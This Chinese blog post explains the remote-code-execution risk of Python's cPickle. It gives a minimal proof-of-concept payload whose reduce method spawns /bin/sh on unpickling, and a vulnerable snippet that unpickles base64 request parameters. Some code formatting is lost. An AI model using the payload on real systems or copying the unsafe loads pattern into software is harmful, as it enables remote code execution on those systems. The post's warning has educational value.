危险的cPickle

Python标准库在对使用Pickle/cPickle的时候有给过警告:不要用cPickle接收未经授权或者未经验证方的代码,但是很多人在使用的时候会忽略这个问题,这会出现致命漏洞,致使对方可以远程执行代码.

危险主要来源于这个reduce方法,当对pickle对象解析时,会首先调用reduce方法,reduce方法规定了该如何解析一个对象,但是这个是用户自定义的,因此在这个地方出现了执行任意代码的可能

 

Example:

import cPickle
import subprocess
import base64

class RunBinSh(object):
def reduce(self):

#return (subprocess.Popen, (('cmd.exe'))) for win
return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))
 

若对方将此对象解析, 则会执行shell.

这主要是subprocess的功劳

因为reduce要求换回一个元组, 拿第一个参数去搜索引入然后构造对象,依靠subprocess.Popen就可以执行命令

这里其实算是一个本不应该成为漏洞的漏洞,但是一旦存在危险极大,而且很多人都会忽视这个问题.如果只是使用cPickle来做对象序列化保存与读取,不接受外部数据,是没有问题的.

但是一旦接受数据会出现致命问题,像这段代码

def process_request(self, request):
“””
Setup the profiler for a profiling run and clear the SQL query log.

If this is a resort of an existing profiling run, just return
the resorted list.
"""
    def unpickle(params):
        stats = unpickle_stats(b64decode(params.get('stats', '')))
        queries = cPickle.loads(b64decode(params.get('queries', '')))
        return stats, queries</pre>

如果不采用身份验证或者来源验证,出于安全考虑是不应该采用的.

 

Python标准库中要特别注意Warning这种提示.

 

参考链接:

http://blog.nelhage.com/2011/03/exploiting-pickle/

http://drops.wooyun.org/papers/66